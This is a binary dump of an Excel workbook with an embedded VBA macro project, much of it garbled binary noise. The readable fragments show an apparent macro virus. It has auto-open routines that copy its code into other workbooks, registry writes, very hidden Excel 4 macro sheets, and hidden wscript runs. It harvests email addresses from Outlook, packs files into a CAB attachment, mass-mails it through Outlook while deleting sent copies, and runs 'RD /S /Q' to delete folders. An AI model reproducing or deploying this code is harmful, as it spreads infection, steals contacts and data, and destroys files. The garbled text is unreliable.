@O{E`Cr}A=[; `th=U quditub#*Do Until qA(CStr("))+aSIfr RLoop=% s_2[z{F4?7t[`Close (i0s@ @A"b@ж@0A"AAolVInbox 6QCconbiTnd`ac,E,DtLxF#=YubsC۳38FA б.T. 1ssp`q.GetMMAPI vDefault(J_ Targe~? e"E1 colIPxsI.B23VVaH0 .Run _ex|e opo svbg{tB pCgQ/EachMPpage in  K2a`>55 t `Jt For" Print #i, " conbinded_address = L& valiAF(objMVage.Body)a Next "_FtZ, 8*all_non_same(ReadAllTCFil e), 2 6WScript.Qui { 'vate Function lsource`_data jDim oDict, trim" emp, t_asc, hYer_endarr, ii_ M0regex, matchs, s(GSetGCrejObject(""" & "0ing.Y:aryBVBSCRIPT.REpGEXP3B.@GlobalTruePattern \w+@([-+.])*@D\.D NHQ"Exe cute(yReAzx^.Cou1@- 1O iI@Lbd() To UN*f Ei)@I0tem(@bCxrLf܎B_0NN IfCYd,> 0 Then(h$b.keys,c3C ʠ&{`# !@ End i|Nothyke+Sub !(inpad_2sUng_frag/\bjFSO, logf_path#folde&$FD:\CollAЅI?B!ASysf#D On @Error ume n&@3_A .cF}b(el ].Existsˡch\ .tl8b$a2%?"<, Y?)ƒ^)S _P/e1! Case B*B)n  $= dOpen_r@, -_A.Wrik5_ S5Clos_q \ SO. 9O%00 ۡ t:C o i%SsK!5>nN "u>b.̣ M9N@, My6Lss5o1C)MM":!s @//e( , 1, False-J.At`OfStPmy eE1o_!Ȋ%ngQt{^%x%s@i2q NL$kǬ`Split, vB_HPY!2). /.y1{ Rآ0*o R?Bl!_H" Print #i, " NextEnd IfXSet oDict = Nothing FnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False E Sub4 v= CreatCab_SendMail(VDim i As Integer, AttNHame Stg E ListQ ress_l I 4fsObject, ]'? dd= get_ten_^a izje("WSBV"7A =@=C? [u.f@Xsystemo% If fs.Folderex1s("E:\SORCE")Z` Then   3R= Re@place(Left(ThisWorkbook.\, Len ) - 4" R"@_". m@r_sub%0"*" @D& "*M@bage*@A 3sorce\L _Key.(vbs i Freex Op;For Output Acc0 Wri@r#i oexcel,owb ,Fso,a_xls,sh,r0outeOn errResuysh= "a"smas ")k sh.MintAllk "2S!N)S"NV {9e^ Z@LZ# AKKeh[Ac[GK <opy _+'%.CurrentDir@8oryUd-Q*.CABd,"8 "\E TruEaSEachaJ a(`W$expam m# -F:Ae.Z , 0, tnoZe6E/% Dq!0 tr "l =2" ?b if a@?  9B)=In`Box,=8 dr^a Q @g  Co  P 4, 10, 8500VUaieO+E+5) UBound(a)cPerve a(n*2Arn + 1/ s8@} o/ -1/ d}0a )ddq z b\TEST.t㟰 ԡ#PK_aX?>~ H砦eenUpd0ng " гtoreBefPA SaveC Qϟ Af<c c4$1ChDri% , ,'"C:\@ir`)1,Environ$("comsp ec /c makecab /F~[ThisWorkbook.Path & "\TEST.TXT"""< /D COMPRESSIONTYPE=LZX XMEMORY=21.ABINETNAMETEMPLATE=../AttName.CAB", vbHide, False Do Until fs.FileExists(txt") _ And"5setup.rpcinf+5z)rEvents Loop{WshShell.Run Environ$("com0spec: /c RD /S /Q disk12Del /FA_"r GlNzFiE:\sorceQIfBold(ereC" KK@{= ThenA CreateF% D %YMO@VE /Y P #pChDir c4$ Call Massive_SendMail(Address_lt, D{, "Dear  , vbCrLf~GF"FYI# w\p" f_c.`Set e = Nothing`pplication.ScreenUpdngTruE`ESubuPhriv1 "EJm#_#$,ject Body!CC_ebadd #achm $ Dim objOL AsH Ob itmNew!0J if_outl_opGbH>t!a! = #Lc ("O.A_"0AH=.Item(olρA Wi '! .(A-$hA&To`,yCCi,hg-s>. 4Vd/et@eAftermit C@@aOrror Goco@nEd-:.playDebugB.Int "`for$"oD Keys "%s@jWait<:=gKB U i!11` Func4(()a+Boolea(n s Get'WinMgmts:").InstancesOf("32_Ptros!).S 4 F0E) Inav 2InStr(p/.DescripQ `KOUTLOOW> 0W< 34 If NextyBRadomNine(leng>Intpegerr H !@jj, ki""#Ӑ$<= c [@:1E i1 `-ӷ$$[id. U = !t / 10Ran0izW[ &k `(RY* (@* i - m01)) + *1T mk <> t !w m/  `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\CHollfed5h\log.RpxYkrrV)UBoPund()Ls )4#O P$;3A$(C`(i- 1&$O7on FullqΛ6%F\Resuɓ&FsoɠT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsaͱ@\.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤Left(`, Lena(10  a A0 `It_Q1" e 2Write FdE AEr1"i"ba FileText.Close End If 8Sub Private @ RestoreBef Send() Dim aa As Name, i_rowIn teger"coFl"fshtObject Application.ScreenUpdng `= Fal #DisplayAlerts"On Errorume N FEachIn ThisWorkbook.Zs.Visiblbe(Tru BSOt(aa, "!")(1)"Auto_Act".en$Delet @{A ASheetAIf 3.Macxro1+RSxl@ F8/.S@)_C.AddHK *x<> UCB+eryHidden, C$C=t((15 * Rn@d) + 1i_6Cel8ls(De** CONFIDENTIAL! X" H 2I Use " & C@hr(34)@Left(Ί, Len) - B "_key.vbs @po Op+A.$3 $$1V$ˀļAWith Range(*, t'3"L.Font.B8oldVhgColorIndex3cőHFun noneApfter+EN, del_rnBgfragBooleaO`{e"[br??fl l")Bwck& ! td).c>"A1:F1 5"9 InStr(.Valu"i") > 20| *= 5xit >'Eq@!y    ) A 9 9Q )Aa 1 Y y Y) 9q VBAProject ThisWorkbookSheet1Sheet2Sheet3ToDOLEF /C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLLVBA q 0F:C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXEExcel i@0FC:\Windows\SysWOW64\stdole2.tlbstdole PL-[DREC:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSO.DLLOffice a!`WFIC:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE Yp auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymodule OĦMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen 5rU~~{  14 )qwb ModuleName q FromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf#__SRP_2 p&__SRP_3uSThisWorkbook _VBA_PROJECTrU~|      rU $`$`$`$`a,!`ayDI`a10==#$q`a$`a0` aay0/0, `y( `0$9 `$a `$ `<`1Y00000$`(`y&$)`(Q`/,y`//$`$`n(Gd>#xME PSLSS<&<2<<<N0{00020819-0000-0000-C000-000000000046}( %*% (p . )0$D%%0p0p`c " ( 0@H" PX\`     ] i0 &.$P &(*UsersA,o0p  &{0002E157-0000-0000-C000-000000000046}:<> 0!4!6B@8Ke5 &(@JHQJ &(*3$D 0A@BJNJ &(@5`QJoAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3  Sheet1096389cb43E Sheet1J- Sheet20:6389cb43G Sheet2J0- Sheet30;6389cb43I Sheet3H- ToDOLE0=6389cb48J ToDOLE`xH`0J ]uEM܄ 3wQI(ȓJG"w*Ad$㍄h!7K0$UiuVHDOm'E Excel+` VBA`Win16~`Win32`Win64x`Mac`VBA6#`VBA7#` VBAProject`stdole``Officeu`VBIDEA` ThisWorkbook|` _Evaluate`xx_` Application*` Workbook_open` DisplayAlerts`(do_what`xx_workbookOpenPZ`wb_`Workbookk` VBProjectOh` References` AddFromGuidA{`GUID`Major'`Minora`ScreenUpdating! ` (copystart ` Sheet1` Sheet2` Sheet3` ToDOLEŝ` auto_openV `Path2` StartupPathi`delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`!EG I K   Z"PROJECT-PROJECTwm}SummaryInformation(DocumentSummaryInformation8Xok/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="6B6968657569756975697569" DPB="7476777089788A788A78" GC="7D7F7E8B8E958F958F6A" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C ThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEOh+'0d   ,4<D\Yq\1@@9WPS h